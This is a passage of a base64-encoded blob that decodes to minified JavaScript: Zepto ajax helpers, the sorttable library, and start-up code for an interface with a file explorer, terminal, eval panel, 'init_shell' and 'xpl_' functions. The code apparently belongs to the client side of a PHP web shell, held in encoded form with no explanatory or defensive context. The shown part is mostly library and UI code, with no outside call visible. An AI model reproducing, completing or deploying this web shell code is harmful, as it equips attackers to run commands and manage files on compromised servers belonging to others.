zZXR0aW5ncy50eXBlLnRvVXBwZXJDYXNlKCkhPSJHRVQiKSYmc2V0SGVhZGVyKCJDb250ZW50LVR5cGUiLHNldHRpbmdzLmNvbnRlbnRUeXBlfHwiYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIik7aWYoc2V0dGluZ3MuaGVhZGVycylmb3IobmFtZSBpbiBzZXR0aW5ncy5oZWFkZXJzKXNldEhlYWRlcihuYW1lLHNldHRpbmdzLmhlYWRlcnNbbmFtZV0pO3hoci5zZXRSZXF1ZXN0SGVhZGVyPXNldEhlYWRlcix4aHIub25yZWFkeXN0YXRlY2hhbmdlPWZ1bmN0aW9uKCl7aWYoeGhyLnJlYWR5U3RhdGU9PTQpe3hoci5vbnJlYWR5c3RhdGVjaGFuZ2U9ZW1wdHksY2xlYXJUaW1lb3V0KGFib3J0VGltZW91dCk7dmFyIHJlc3VsdCxlcnJvcj0hMTtpZih4aHIuc3RhdHVzPj0yMDAmJnhoci5zdGF0dXM8MzAwfHx4aHIuc3RhdHVzPT0zMDR8fHhoci5zdGF0dXM9PTAmJnByb3RvY29sPT0iZmlsZToiKXtkYXRhVHlwZT1kYXRhVHlwZXx8bWltZVRvRGF0YVR5cGUoc2V0dGluZ3MubWltZVR5cGV8fHhoci5nZXRSZXNwb25zZUhlYWRlcigiY29udGVudC10eXBlIikpLHJlc3VsdD14aHIucmVzcG9uc2VUZXh0O3RyeXtkYXRhVHlwZT09InNjcmlwdCI/KDEsZXZhbCkocmVzdWx0KTpkYXRhVHlwZT09InhtbCI/cmVzdWx0PXhoci5yZXNwb25zZVhNTDpkYXRhVHlwZT09Impzb24iJiYocmVzdWx0PWJsYW5rUkUudGVzdChyZXN1bHQpP251bGw6JC5wYXJzZUpTT04ocmVzdWx0KSl9Y2F0Y2goZSl7ZXJyb3I9ZX1lcnJvcj9hamF4RXJyb3IoZXJyb3IsInBhcnNlcmVycm9yIix4aHIsc2V0dGluZ3MsZGVmZXJyZWQpOmFqYXhTdWNjZXNzKHJlc3VsdCx4aHIsc2V0dGluZ3MsZGVmZXJyZWQpfWVsc2UgYWpheEVycm9yKHhoci5zdGF0dXNUZXh0fHxudWxsLHhoci5zdGF0dXM/ImVycm9yIjoiYWJvcnQiLHhocixzZXR0aW5ncyxkZWZlcnJlZCl9fTtpZihhamF4QmVmb3JlU2VuZCh4aHIsc2V0dGluZ3MpPT09ITEpcmV0dXJuIHhoci5hYm9ydCgpLGFqYXhFcnJvcihudWxsLCJhYm9ydCIseGhyLHNldHRpbmdzLGRlZmVycmVkKSx4aHI7aWYoc2V0dGluZ3MueGhyRmllbGRzKWZvcihuYW1lIGluIHNldHRpbmdzLnhockZpZWxkcyl4aHJbbmFtZV09c2V0dGluZ3MueGhyRmllbGRzW25hbWVdO3ZhciBhc3luYz0iYXN5bmMiaW4gc2V0dGluZ3M/c2V0dGluZ3MuYXN5bmM6ITA7eGhyLm9wZW4oc2V0dGluZ3MudHlwZSxzZXR0aW5ncy51cmwsYXN5bmMsc2V0dGluZ3MudXNlcm5hbWUsc2V0dGluZ3MucGFzc3dvcmQpO2ZvcihuYW1lIGluIGhlYWRlcnMpbmF0aXZlU2V0SGVhZGVyLmFwcGx5KHhocixoZWFkZXJzW25hbWVdKTtyZXR1cm4gc2V0dGluZ3MudGltZW91dD4wJiYoYWJvcnRUaW1lb3V0PXNldFRpbWVvdXQoZnVuY3Rpb24oKXt4aHIub25yZWFkeXN0YXRlY2hhbmdlPWVtcHR5LHhoci5hYm9ydCgpLGFqYXhFcnJvcihudWxsLCJ0aW1lb3V0Iix4aHIsc2V0dGluZ3MsZGVmZXJyZWQpfSxzZXR0aW5ncy50aW1lb3V0KSkseGhyLnNlbmQoc2V0dGluZ3MuZGF0YT9zZXR0aW5ncy5kYXRhOm51bGwpLHhocn0sJC5nZXQ9ZnVuY3Rpb24oYSxiLGMsZCl7cmV0dXJuICQuYWpheChwYXJzZUFyZ3VtZW50cy5hcHBseShudWxsLGFyZ3VtZW50cykpfSwkLnBvc3Q9ZnVuY3Rpb24oYSxiLGMsZCl7dmFyIGU9cGFyc2VBcmd1bWVudHMuYXBwbHkobnVsbCxhcmd1bWVudHMpO3JldHVybiBlLnR5cGU9IlBPU1QiLCQuYWpheChlKX0sJC5nZXRKU09OPWZ1bmN0aW9uKGEsYixjKXt2YXIgZD1wYXJzZUFyZ3VtZW50cy5hcHBseShudWxsLGFyZ3VtZW50cyk7cmV0dXJuIGQuZGF0YVR5cGU9Impzb24iLCQuYWpheChkKX0sJC5mbi5sb2FkPWZ1bmN0aW9uKGEsYixjKXtpZighdGhpcy5sZW5ndGgpcmV0dXJuIHRoaXM7dmFyIGQ9dGhpcyxlPWEuc3BsaXQoL1xzLyksZixnPXBhcnNlQXJndW1lbnRzKGEsYixjKSxoPWcuc3VjY2VzcztyZXR1cm4gZS5sZW5ndGg+MSYmKGcudXJsPWVbMF0sZj1lWzFdKSxnLnN1Y2Nlc3M9ZnVuY3Rpb24oYSl7ZC5odG1sKGY/JCgiPGRpdj4iKS5odG1sKGEucmVwbGFjZShyc2NyaXB0LCIiKSkuZmluZChmKTphKSxoJiZoLmFwcGx5KGQsYXJndW1lbnRzKX0sJC5hamF4KGcpLHRoaXN9O3ZhciBlc2NhcGU9ZW5jb2RlVVJJQ29tcG9uZW50OyQucGFyYW09ZnVuY3Rpb24oYSxiKXt2YXIgYz1bXTtyZXR1cm4gYy5hZGQ9ZnVuY3Rpb24oYSxiKXt0aGlzLnB1c2goZXNjYXBlKGEpKyI9Iitlc2NhcGUoYikpfSxzZXJpYWxpemUoYyxhLGIpLGMuam9pbigiJiIpLnJlcGxhY2UoLyAvZywiKyIpfX0oWmVwdG8pLGZ1bmN0aW9uKGEpe2EuZm4uc2VyaWFsaXplQXJyYXk9ZnVuY3Rpb24oKXt2YXIgYj1bXSxjO3JldHVybiBhKFtdLnNsaWNlLmNhbGwodGhpcy5nZXQoMCkuZWxlbWVudHMpKS5lYWNoKGZ1bmN0aW9uKCl7Yz1hKHRoaXMpO3ZhciBkPWMuYXR0cigidHlwZSIpO3RoaXMubm9kZU5hbWUudG9Mb3dlckNhc2UoKSE9ImZpZWxkc2V0IiYmIXRoaXMuZGlzYWJsZWQmJmQhPSJzdWJtaXQiJiZkIT0icmVzZXQiJiZkIT0iYnV0dG9uIiYmKGQhPSJyYWRpbyImJmQhPSJjaGVja2JveCJ8fHRoaXMuY2hlY2tlZCkmJmIucHVzaCh7bmFtZTpjLmF0dHIoIm5hbWUiKSx2YWx1ZTpjLnZhbCgpfSl9KSxifSxhLmZuLnNlcmlhbGl6ZT1mdW5jdGlvbigpe3ZhciBhPVtdO3JldHVybiB0aGlzLnNlcmlhbGl6ZUFycmF5KCkuZm9yRWFjaChmdW5jdGlvbihiKXthLnB1c2goZW5jb2RlVVJJQ29tcG9uZW50KGIubmFtZSkrIj0iK2VuY29kZVVSSUNvbXBvbmVudChiLnZhbHVlKSl9KSxhLmpvaW4oIiYiKX0sYS5mbi5zdWJtaXQ9ZnVuY3Rpb24oYil7aWYoYil0aGlzLmJpbmQoInN1Ym1pdCIsYik7ZWxzZSBpZih0aGlzLmxlbmd0aCl7dmFyIGM9YS5FdmVudCgic3VibWl0Iik7dGhpcy5lcSgwKS50cmlnZ2VyKGMpLGMuaXNEZWZhdWx0UHJldmVudGVkKCl8fHRoaXMuZ2V0KDApLnN1Ym1pdCgpfXJldHVybiB0aGlzfX0oWmVwdG8pLGZ1bmN0aW9uKGEpeyJfX3Byb3RvX18iaW57fXx8YS5leHRlbmQoYS56ZXB0byx7WjpmdW5jdGlvbihiLGMpe3JldHVybiBiPWJ8fFtdLGEuZXh0ZW5kKGIsYS5mbiksYi5zZWxlY3Rvcj1jfHwiIixiLl9fWj0hMCxifSxpc1o6ZnVuY3Rpb24oYil7cmV0dXJuIGEudHlwZShiKT09PSJhcnJheSImJiJfX1oiaW4gYn19KTt0cnl7Z2V0Q29tcHV0ZWRTdHlsZSh1bmRlZmluZWQpfWNhdGNoKGIpe3ZhciBjPWdldENvbXB1dGVkU3R5bGU7d2luZG93LmdldENvbXB1dGVkU3R5bGU9ZnVuY3Rpb24oYSl7dHJ5e3JldHVybiBjKGEpfWNhdGNoKGIpe3JldHVybiBudWxsfX19fShaZXB0bykKdmFyIGg9ITAsaj0hMTtzb3J0dGFibGU9e2U6ZnVuY3Rpb24oKXthcmd1bWVudHMuY2FsbGVlLml8fChhcmd1bWVudHMuY2FsbGVlLmk9aCxrJiZjbGVhckludGVydmFsKGspLGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQmJmRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lJiYoc29ydHRhYmxlLmE9L14oXGRcZD8pW1wvXC4tXShcZFxkPylbXC9cLi1dKChcZFxkKT9cZFxkKSQvLGwoZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoInRhYmxlIiksZnVuY3Rpb24oYSl7LTEhPWEuY2xhc3NOYW1lLnNlYXJjaCgvXGJzb3J0YWJsZVxiLykmJnNvcnR0YWJsZS5rKGEpfSkpKX0sazpmdW5jdGlvbihhKXswPT1hLmdldEVsZW1lbnRzQnlUYWdOYW1lKCJ0aGVhZCIpLmxlbmd0aCYmKHRoZT1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJ0aGVhZCIpLHRoZS5hcHBlbmRDaGlsZChhLnJvd3NbMF0pLGEuaW5zZXJ0QmVmb3JlKHRoZSxhLmZpcnN0Q2hpbGQpKTtudWxsPT1hLnRIZWFkJiYoYS50SGVhZD1hLmdldEVsZW1lbnRzQnlUYWdOYW1lKCJ0aGVhZCIpWzBdKTtpZigxPT1hLnRIZWFkLnJvd3MubGVuZ3RoKXtzb3J0Ym90dG9tcm93cz1bXTtmb3IodmFyIGI9MDtiPGEucm93cy5sZW5ndGg7YisrKS0xIT1hLnJvd3NbYl0uY2xhc3NOYW1lLnNlYXJjaCgvXGJzb3J0Ym90dG9tXGIvKSYmKHNvcnRib3R0b21yb3dzW3NvcnRib3R0b21yb3dzLmxlbmd0aF09YS5yb3dzW2JdKTtpZihzb3J0Ym90dG9tcm93cyl7bnVsbD09YS50Rm9vdCYmKHRmbz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJ0Zm9vdCIpLGEuYXBwZW5kQ2hpbGQodGZvKSk7Zm9yKGI9MDtiPHNvcnRib3R0b21yb3dzLmxlbmd0aDtiKyspdGZvLmFwcGVuZENoaWxkKHNvcnRib3R0b21yb3dzW2JdKTtkZWxldGUgc29ydGJvdHRvbXJvd3N9aGVhZHJvdz1hLnRIZWFkLnJvd3NbMF0uY2VsbHM7Zm9yKGI9MDtiPGhlYWRyb3cubGVuZ3RoO2IrKylpZighaGVhZHJvd1tiXS5jbGFzc05hbWUubWF0Y2goL1xic29ydHRhYmxlX25vc29ydFxiLykpeyhtdGNoPWhlYWRyb3dbYl0uY2xhc3NOYW1lLm1hdGNoKC9cYnNvcnR0YWJsZV8oW2EtejAtOV0rKVxiLykpJiYob3ZlcnJpZGU9bXRjaFsxXSk7aGVhZHJvd1tiXS5wPW10Y2gmJiJmdW5jdGlvbiI9PXR5cGVvZiBzb3J0dGFibGVbInNvcnRfIitvdmVycmlkZV0/c29ydHRhYmxlWyJzb3J0XyIrb3ZlcnJpZGVdOnNvcnR0YWJsZS5qKGEsYik7aGVhZHJvd1tiXS5vPWI7aGVhZHJvd1tiXS5jPWEudEJvZGllc1swXTt2YXIgYz1oZWFkcm93W2JdLGU9c29ydHRhYmxlLnE9ZnVuY3Rpb24oKXtpZigtMSE9dGhpcy5jbGFzc05hbWUuc2VhcmNoKC9cYnNvcnR0YWJsZV9zb3J0ZWRcYi8pKXNvcnR0YWJsZS5yZXZlcnNlKHRoaXMuYyksdGhpcy5jbGFzc05hbWU9dGhpcy5jbGFzc05hbWUucmVwbGFjZSgic29ydHRhYmxlX3NvcnRlZCIsInNvcnR0YWJsZV9zb3J0ZWRfcmV2ZXJzZSIpLHRoaXMucmVtb3ZlQ2hpbGQoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNvcnR0YWJsZV9zb3J0ZndkaW5kIikpLHNvcnRyZXZpbmQ9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic3BhbiIpLHNvcnRyZXZpbmQuaWQ9InNvcnR0YWJsZV9zb3J0cmV2aW5kIixzb3J0cmV2aW5kLmlubmVySFRNTD0iJm5ic3A7JiN4MjVCNDsiLHRoaXMuYXBwZW5kQ2hpbGQoc29ydHJldmluZCk7ZWxzZSBpZigtMSE9dGhpcy5jbGFzc05hbWUuc2VhcmNoKC9cYnNvcnR0YWJsZV9zb3J0ZWRfcmV2ZXJzZVxiLykpc29ydHRhYmxlLnJldmVyc2UodGhpcy5jKSx0aGlzLmNsYXNzTmFtZT10aGlzLmNsYXNzTmFtZS5yZXBsYWNlKCJzb3J0dGFibGVfc29ydGVkX3JldmVyc2UiLCJzb3J0dGFibGVfc29ydGVkIiksdGhpcy5yZW1vdmVDaGlsZChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic29ydHRhYmxlX3NvcnRyZXZpbmQiKSksc29ydGZ3ZGluZD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJzcGFuIiksc29ydGZ3ZGluZC5pZD0ic29ydHRhYmxlX3NvcnRmd2RpbmQiLHNvcnRmd2RpbmQuaW5uZXJIVE1MPSImbmJzcDsmI3gyNUJFOyIsdGhpcy5hcHBlbmRDaGlsZChzb3J0ZndkaW5kKTtlbHNle3RoZWFkcm93PXRoaXMucGFyZW50Tm9kZTtsKHRoZWFkcm93LmNoaWxkTm9kZXMsZnVuY3Rpb24oYSl7MT09YS5ub2RlVHlwZSYmKGEuY2xhc3NOYW1lPWEuY2xhc3NOYW1lLnJlcGxhY2UoInNvcnR0YWJsZV9zb3J0ZWRfcmV2ZXJzZSIsIiIpLGEuY2xhc3NOYW1lPWEuY2xhc3NOYW1lLnJlcGxhY2UoInNvcnR0YWJsZV9zb3J0ZWQiLCIiKSl9KTsoc29ydGZ3ZGluZD1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic29ydHRhYmxlX3NvcnRmd2RpbmQiKSkmJnNvcnRmd2RpbmQucGFyZW50Tm9kZS5yZW1vdmVDaGlsZChzb3J0ZndkaW5kKTsoc29ydHJldmluZD1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic29ydHRhYmxlX3NvcnRyZXZpbmQiKSkmJnNvcnRyZXZpbmQucGFyZW50Tm9kZS5yZW1vdmVDaGlsZChzb3J0cmV2aW5kKTt0aGlzLmNsYXNzTmFtZSs9IiBzb3J0dGFibGVfc29ydGVkIjtzb3J0ZndkaW5kPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNwYW4iKTtzb3J0ZndkaW5kLmlkPSJzb3J0dGFibGVfc29ydGZ3ZGluZCI7c29ydGZ3ZGluZC5pbm5lckhUTUw9IiZuYnNwOyYjeDI1QkU7Ijt0aGlzLmFwcGVuZENoaWxkKHNvcnRmd2RpbmQpO3Jvd19hcnJheT1bXTtjb2w9dGhpcy5vO3Jvd3M9dGhpcy5jLnJvd3M7Zm9yKHZhciBhPTA7YTxyb3dzLmxlbmd0aDthKyspcm93X2FycmF5W3Jvd19hcnJheS5sZW5ndGhdPVtzb3J0dGFibGUuZChyb3dzW2FdLmNlbGxzW2NvbF0pLHJvd3NbYV1dO3Jvd19hcnJheS5zb3J0KHRoaXMucCk7dGI9dGhpcy5jO2ZvcihhPTA7YTxyb3dfYXJyYXkubGVuZ3RoO2ErKyl0Yi5hcHBlbmRDaGlsZChyb3dfYXJyYXlbYV1bMV0pO2RlbGV0ZSByb3dfYXJyYXl9fTtpZihjLmFkZEV2ZW50TGlzdGVuZXIpYy5hZGRFdmVudExpc3RlbmVyKCJjbGljayIsZSxqKTtlbHNle2UuZnx8KGUuZj1uKyspO2MuYnx8KGMuYj17fSk7dmFyIGc9Yy5iLmNsaWNrO2d8fChnPWMuYi5jbGljaz17fSxjLm9uY2xpY2smJihnWzBdPWMub25jbGljaykpO2dbZS5mXT1lO2Mub25jbGljaz1wfX19fSxqOmZ1bmN0aW9uKGEsYil7c29ydGZuPXNvcnR0YWJsZS5sO2Zvcih2YXIgYz0wO2M8YS50Qm9kaWVzWzBdLnJvd3MubGVuZ3RoO2MrKylpZih0ZXh0PXNvcnR0YWJsZS5kKGEudEJvZGllc1swXS5yb3dzW2NdLmNlbGxzW2JdKSwiIiE9dGV4dCl7aWYodGV4dC5tYXRjaCgvXi0/W1x1MDBhMyRcdTAwYTRdP1tcZCwuXSslPyQvKSlyZXR1cm4gc29ydHRhYmxlLm47aWYocG9zc2RhdGU9dGV4dC5tYXRjaChzb3J0dGFibGUuYSkpe2ZpcnN0PXBhcnNlSW50KHBvc3NkYXRlWzFdKTtzZWNvbmQ9cGFyc2VJbnQocG9zc2RhdGVbMl0pO2lmKDEyPGZpcnN0KXJldHVybiBzb3J0dGFibGUuZztpZigxMjxzZWNvbmQpcmV0dXJuIHNvcnR0YWJsZS5tO3NvcnRmbj1zb3J0dGFibGUuZ319cmV0dXJuIHNvcnRmbn0sZDpmdW5jdGlvbihhKXtpZighYSlyZXR1cm4iIjtoYXNJbnB1dHM9ImZ1bmN0aW9uIj09dHlwZW9mIGEuZ2V0RWxlbWVudHNCeVRhZ05hbWUmJmEuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImlucHV0IikubGVuZ3RoO2lmKCIiIT1hLnRpdGxlKXJldHVybiBhLnRpdGxlO2lmKCJ1bmRlZmluZWQiIT10eXBlb2YgYS50ZXh0Q29udGVudCYmIWhhc0lucHV0cylyZXR1cm4gYS50ZXh0Q29udGVudC5yZXBsYWNlKC9eXHMrfFxzKyQvZywiIik7aWYoInVuZGVmaW5lZCIhPXR5cGVvZiBhLmlubmVyVGV4dCYmIWhhc0lucHV0cylyZXR1cm4gYS5pbm5lclRleHQucmVwbGFjZSgvXlxzK3xccyskL2csIiIpO2lmKCJ1bmRlZmluZWQiIT10eXBlb2YgYS50ZXh0JiYhaGFzSW5wdXRzKXJldHVybiBhLnRleHQucmVwbGFjZSgvXlxzK3xccyskL2csIiIpO3N3aXRjaChhLm5vZGVUeXBlKXtjYXNlIDM6aWYoImlucHV0Ij09YS5ub2RlTmFtZS50b0xvd2VyQ2FzZSgpKXJldHVybiBhLnZhbHVlLnJlcGxhY2UoL15ccyt8XHMrJC9nLCIiKTtjYXNlIDQ6cmV0dXJuIGEubm9kZVZhbHVlLnJlcGxhY2UoL15ccyt8XHMrJC9nLCIiKTtjYXNlIDE6Y2FzZSAxMTpmb3IodmFyIGI9IiIsYz0wO2M8YS5jaGlsZE5vZGVzLmxlbmd0aDtjKyspYis9c29ydHRhYmxlLmQoYS5jaGlsZE5vZGVzW2NdKTtyZXR1cm4gYi5yZXBsYWNlKC9eXHMrfFxzKyQvZywiIik7ZGVmYXVsdDpyZXR1cm4iIn19LHJldmVyc2U6ZnVuY3Rpb24oYSl7bmV3cm93cz1bXTtmb3IodmFyIGI9MDtiPGEucm93cy5sZW5ndGg7YisrKW5ld3Jvd3NbbmV3cm93cy5sZW5ndGhdPWEucm93c1tiXTtmb3IoYj1uZXdyb3dzLmxlbmd0aC0xOzA8PWI7Yi0tKWEuYXBwZW5kQ2hpbGQobmV3cm93c1tiXSk7ZGVsZXRlIG5ld3Jvd3N9LG46ZnVuY3Rpb24oYSxiKXthYT1wYXJzZUZsb2F0KGFbMF0ucmVwbGFjZSgvW14wLTkuLV0vZywiIikpO2lzTmFOKGFhKSYmKGFhPTApO2JiPXBhcnNlRmxvYXQoYlswXS5yZXBsYWNlKC9bXjAtOS4tXS9nLCIiKSk7aXNOYU4oYmIpJiYoYmI9MCk7cmV0dXJuIGFhLWJifSxsOmZ1bmN0aW9uKGEsYil7cmV0dXJuIGFbMF0udG9Mb3dlckNhc2UoKT09YlswXS50b0xvd2VyQ2FzZSgpPzA6YVswXS50b0xvd2VyQ2FzZSgpPGJbMF0udG9Mb3dlckNhc2UoKT8tMToxfSxnOmZ1bmN0aW9uKGEsYil7bXRjaD1hWzBdLm1hdGNoKHNvcnR0YWJsZS5hKTt5PW10Y2hbM107bT1tdGNoWzJdO2Q9bXRjaFsxXTsxPT1tLmxlbmd0aCYmKG09IjAiK20pOzE9PWQubGVuZ3RoJiYoZD0iMCIrZCk7ZHQxPXkrbStkO210Y2g9YlswXS5tYXRjaChzb3J0dGFibGUuYSk7eT1tdGNoWzNdO209bXRjaFsyXTtkPW10Y2hbMV07MT09bS5sZW5ndGgmJihtPSIwIittKTsxPT1kLmxlbmd0aCYmKGQ9IjAiK2QpO2R0Mj15K20rZDtyZXR1cm4gZHQxPT1kdDI/MDpkdDE8ZHQyPy0xOjF9LG06ZnVuY3Rpb24oYSxiKXttdGNoPWFbMF0ubWF0Y2goc29ydHRhYmxlLmEpO3k9bXRjaFszXTtkPW10Y2hbMl07bT1tdGNoWzFdOzE9PW0ubGVuZ3RoJiYobT0iMCIrbSk7MT09ZC5sZW5ndGgmJihkPSIwIitkKTtkdDE9eSttK2Q7bXRjaD1iWzBdLm1hdGNoKHNvcnR0YWJsZS5hKTt5PW10Y2hbM107ZD1tdGNoWzJdO209bXRjaFsxXTsxPT1tLmxlbmd0aCYmKG09IjAiK20pOzE9PWQubGVuZ3RoJiYoZD0iMCIrZCk7ZHQyPXkrbStkO3JldHVybiBkdDE9PWR0Mj8wOmR0MTxkdDI/LTE6MX0scjpmdW5jdGlvbihhLGIpe2Zvcih2YXIgYz0wLGU9YS5sZW5ndGgtMSxnPWg7Zzspe2Zvcih2YXIgZz1qLGY9YztmPGU7KytmKTA8YihhW2ZdLGFbZisxXSkmJihnPWFbZl0sYVtmXT1hW2YrMV0sYVtmKzFdPWcsZz1oKTtlLS07aWYoIWcpYnJlYWs7Zm9yKGY9ZTtmPmM7LS1mKTA+YihhW2ZdLGFbZi0xXSkmJihnPWFbZl0sYVtmXT1hW2YtMV0sYVtmLTFdPWcsZz1oKTtjKyt9fX07ZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lciYmZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcigiRE9NQ29udGVudExvYWRlZCIsc29ydHRhYmxlLmUsaik7aWYoL1dlYktpdC9pLnRlc3QobmF2aWdhdG9yLnVzZXJBZ2VudCkpdmFyIGs9c2V0SW50ZXJ2YWwoZnVuY3Rpb24oKXsvbG9hZGVkfGNvbXBsZXRlLy50ZXN0KGRvY3VtZW50LnJlYWR5U3RhdGUpJiZzb3J0dGFibGUuZSgpfSwxMCk7d2luZG93Lm9ubG9hZD1zb3J0dGFibGUuZTt2YXIgbj0xO2Z1bmN0aW9uIHAoYSl7dmFyIGI9aDthfHwoYT0oKHRoaXMub3duZXJEb2N1bWVudHx8dGhpcy5kb2N1bWVudHx8dGhpcykucGFyZW50V2luZG93fHx3aW5kb3cpLmV2ZW50LGEucHJldmVudERlZmF1bHQ9cSxhLnN0b3BQcm9wYWdhdGlvbj1yKTt2YXIgYz10aGlzLmJbYS50eXBlXSxlO2ZvcihlIGluIGMpdGhpcy5oPWNbZV0sdGhpcy5oKGEpPT09aiYmKGI9aik7cmV0dXJuIGJ9ZnVuY3Rpb24gcSgpe3RoaXMucmV0dXJuVmFsdWU9an1mdW5jdGlvbiByKCl7dGhpcy5jYW5jZWxCdWJibGU9aH1BcnJheS5mb3JFYWNofHwoQXJyYXkuZm9yRWFjaD1mdW5jdGlvbihhLGIsYyl7Zm9yKHZhciBlPTA7ZTxhLmxlbmd0aDtlKyspYi5jYWxsKGMsYVtlXSxlLGEpfSk7RnVuY3Rpb24ucHJvdG90eXBlLmZvckVhY2g9ZnVuY3Rpb24oYSxiLGMpe2Zvcih2YXIgZSBpbiBhKSJ1bmRlZmluZWQiPT10eXBlb2YgdGhpcy5wcm90b3R5cGVbZV0mJmIuY2FsbChjLGFbZV0sZSxhKX07U3RyaW5nLmZvckVhY2g9ZnVuY3Rpb24oYSxiLGMpe0FycmF5LmZvckVhY2goYS5zcGxpdCgiIiksZnVuY3Rpb24oZSxnKXtiLmNhbGwoYyxlLGcsYSl9KX07ZnVuY3Rpb24gbChhLGIpe2lmKGEpe3ZhciBjPU9iamVjdDtpZihhIGluc3RhbmNlb2YgRnVuY3Rpb24pYz1GdW5jdGlvbjtlbHNle2lmKGEuZm9yRWFjaCBpbnN0YW5jZW9mIEZ1bmN0aW9uKXthLmZvckVhY2goYix2b2lkIDApO3JldHVybn0ic3RyaW5nIj09dHlwZW9mIGE/Yz1TdHJpbmc6Im51bWJlciI9PXR5cGVvZiBhLmxlbmd0aCYmKGM9QXJyYXkpfWMuZm9yRWFjaChhLGIsdm9pZCAwKX19O3ZhciBsb2FkaW5nX2NvdW50PTA7dmFyIHJ1bm5pbmc9ZmFsc2U7dmFyIGRlZmF1bHRUYWI9J2V4cGxvcmVyJzt2YXIgY3VycmVudFRhYj0kKCcjJytkZWZhdWx0VGFiKTt2YXIgdGFiU2Nyb2xsPW5ldyBPYmplY3Q7dmFyIG9uRHJhZz1mYWxzZTt2YXIgb25TY3JvbGw9ZmFsc2U7dmFyIHNjcm9sbERlbHRhPTE7dmFyIHNjcm9sbENvdW50ZXI9MDt2YXIgc2Nyb2xsU3BlZWQ9NjA7dmFyIHNjcm9sbFRpbWVyPScnO3ZhciBkcmFnWD0nJzt2YXIgZHJhZ1k9Jyc7dmFyIGRyYWdEZWx0YVg9Jyc7dmFyIGRyYWdEZWx0YVk9Jyc7dmFyIGVkaXRTdWNjZXNzPScnO3ZhciB0ZXJtaW5hbEhpc3Rvcnk9bmV3IEFycmF5KCk7dmFyIHRlcm1pbmFsSGlzdG9yeVBvcz0wO3ZhciBldmFsU3VwcG9ydGVkPSIiO3ZhciBldmFsUmVhZHk9ZmFsc2U7dmFyIHJlc2l6ZVRpbWVyPScnO3ZhciBwb3J0YWJsZVdpZHRoPTcwMDt2YXIgcG9ydGFibGVNb2RlPW51bGw7WmVwdG8oZnVuY3Rpb24oJCl7aWYoaW5pdF9zaGVsbCl7dmFyIG5vdz1uZXcgRGF0ZSgpO291dHB1dCgic3RhcnRlZCBAICIrbm93LnRvR01UU3RyaW5nKCkpO291dHB1dCgiY3dkIDogIitnZXRfY3dkKCkpO291dHB1dCgibW9kdWxlIDogIittKTtzaG93X3RhYigpO3hwbF9iaW5kKCk7ZXZhbF9pbml0KCk7d2luZG93X3Jlc2l6ZSgpO3hwbF91cGRhdGVfc3RhdHVzKCk7JCh3aW5kb3cpLm9uKCdyZXNpemUnLGZ1bmN0aW9uKGUpe2NsZWFyVGltZW91dChyZXNpemVUaW1lcik7cmVzaXplVGltZXI9c2V0VGltZW91dCgid2luZG93X3Jlc2l6ZSgpIiwxMDAwKX0pOyQoJy5tZW51aXRlbScpLm9uKCdjbGljaycsZnVuY3Rpb24oZSl7c2VsZWN0ZWRUYWI9JCh0aGlzKS5hdHRyKCdocmVmJykuc3Vic3RyKDIpO3Nob3dfdGFiKHNlbGVjdGVkVGFiKX0pOyQoJyNsb2dvdXQnKS5vbignY2xpY2snLGZ1bmN0aW9uKGUpe3ZhciBjb29raWU9ZG9jdW1lbnQuY29va2llLnNwbGl0KCc7Jyk7Zm9yKHZhciBpPTA7aTxjb29raWUubGVuZ3RoO2krKyl7dmFyIGVudHJpZXM9Y29va2llW2ldLGVudHJ5PWVudHJpZXMuc3BsaXQoIj0iKSxuYW1lPWVudHJ5WzBdO2RvY3VtZW50LmNvb2tpZT1uYW1lKyI9Jyc7IGV4cGlyZXM9VGh1LCAwMSBKYW4gMTk3MCAwMDowMDowMSBHTVQ7IHBhdGg9LyJ9bG9jYWxTdG9yYWdlLmNsZWFyKCk7bG9jYXRpb24uaHJlZj10YXJnZXR1cmx9KTskKCcjdG90b3AnKS5vbignY2xpY2snLGZ1bmN0aW9uKGUpeyQod2luZG93KS5zY3JvbGxUb3AoMCl9KTskKCcjdG90b3AnKS5vbignbW91c2VvdmVyJyxmdW5jdGlvbihlKXtvblNjcm9sbD10cnVlO2NsZWFyVGltZW91dChzY3JvbGxUaW1lcik7c3RhcnRfc2Nyb2xsKCd0b3AnKX0pOyQoJyN0b3RvcCcpLm9uKCdtb3VzZW91dCcsZnVuY3Rpb24oZSl7b25TY3JvbGw9ZmFsc2U7c2Nyb2xsQ291bnRlcj0wfSk7JCgnI3RvYm90dG9tJykub24oJ2NsaWNrJyxmdW5jdGlvbihlKXskKHdpbmRvdykuc2Nyb2xsVG9wKCQoZG9jdW1lbnQpLmhlaWdodCgpLSQod2luZG93KS5oZWlnaHQoKSl9KTskKCcjdG9ib3R0b20nKS5vbignbW91c2VvdmVyJyxmdW5jdGlvbihlKXtvblNjcm9sbD10cnVlO2NsZWFyVGltZW91dChzY3JvbGxUaW1lcik7c3RhcnRfc2Nyb2xsKCdib3R0b20nKX0pOyQoJyN0b2JvdHRvbScpLm9uKCdtb3VzZW91dCcsZnVuY3Rpb24oZSl7b25TY3JvbGw9ZmFsc2U7c2Nyb2xsQ291bnRlcj0wfSk7JCgnI2Jhc2ljSW5mbycpLm9uKCdtb3VzZWVudGVyJyxmdW5jdGlvbihlKXskKCcjdG9nZ2xlQmFzaWNJbmZvJykuc2hvdygpfSk7JCgnI2Jhc2ljSW5mbycpLm9uKCdtb3VzZWxlYXZlJyxmdW5jdGlvbihlKXskKCcjdG9nZ2xlQmFzaWNJbmZvJykuaGlkZSgpfSk7JCgnI3RvZ2dsZUJhc2ljSW5mbycpLm9uKCdjbGljaycsZnVuY3Rpb24oZSl7JCgnI2Jhc2ljSW5mbycpLmhpZGUoKTskKCcjc2hvd2luZm8nKS5zaG93KCk7JCgnI3RvZ2dsZU